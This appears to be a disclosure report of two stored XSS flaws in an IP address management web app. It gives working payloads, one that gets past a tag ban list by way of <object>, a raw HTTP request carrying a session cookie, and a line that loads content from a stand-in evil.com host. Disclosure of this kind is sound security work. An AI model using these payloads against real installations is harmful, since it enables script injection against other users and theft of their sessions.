The santinizer founction noxss_html($html)
can be bypassed since it missed to ban the tag of <object>
in $banned_elements = ['script', 'iframe', 'embed'];
. By this missing, the logged admin can maliciously inject xss payloads like <object data="javascript:alert(1)">
in the backend database using the point POST /app/admin/instructions/edit-result.php
with parameters instructions=<object data="javascript:alert(1)">
, and consequently the other users or admins who view the instructions may execute the injected scripts without their consents. Note that, the <object data="javascript:alert(1)">
can now only be executed in the firefox browser, and for the chrome and IE Edge, the attackers should inject the code using third party links like <object data="http://evil.com/attack.html">
POST /app/admin/instructions/edit-result.php HTTP/1.1
Host: 192.168.232.128
Content-Length: 136
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.232.128
Referer: http://192.168.232.128/index.php?page=administration§ion=instructions
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: table-page-size=50; scantype=scan-icmp; phpipam=6s5iofugf1hvnlgju2pdetg34r
Connection: close
instructions=<object data="javascript:alert(1)">&csrf_cookie=bNf8M4rOVnijA0HS6fgSH7l250t6ZgqP&id=1
When the other users open the instruction page in firefox (our firefox version is 103.0.1 64-bit), the malicious code can be executed as the figure shown below:
The normal user can update their widget settings by the function $User->self_update_widgets ($_POST['widgets'])
, in which the $_POST['widgets']
has not been sanitized to remove XSS tags and characters before stored in the backend database in the users
table. As a result, the users can inject malicious javascript codes such as <script>alert(1)</script>
using the HTTP POST point POST /app/tools/user-menu/user-widgets-set.php
with the parameters `widgets=statistics%3Bfavourite_subnets%3Bchangelog%3Btop10_hosts_v4β><script>alert(1)</script><a><script>alert(1)</script><a>